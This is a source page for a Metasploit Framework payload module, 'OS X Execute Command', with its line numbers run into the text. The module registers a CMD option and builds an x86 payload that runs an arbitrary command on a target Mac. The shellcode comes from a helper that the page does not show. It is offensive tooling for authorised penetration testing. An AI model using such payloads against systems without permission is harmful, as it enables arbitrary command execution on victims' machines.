Path: blob/master/modules/payloads/singles/osx/x86/exec.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Exec8# ----9#10# Executes an arbitrary command.11#12###13module MetasploitModule14CachedSize = 241516include Msf::Payload::Single17include Msf::Payload::Bsd::X8618include Msf::Payload::Osx1920def initialize(info = {})21super(22merge_info(23info,24'Name' => 'OS X Execute Command',25'Description' => 'Execute an arbitrary command',26'Author' => [27'snagg <snagg[at]openssl.it>',28'argp <argp[at]census-labs.com>',29'joev'30],31'License' => BSD_LICENSE,32'Platform' => 'osx',33'Arch' => ARCH_X8634)35)3637register_options([38OptString.new('CMD', [ true, 'The command string to execute' ]),39])40end4142#43# Dynamically builds the exec payload based on the user's options.44#45def generate(_opts = {})46bsd_x86_exec_payload47end48end495051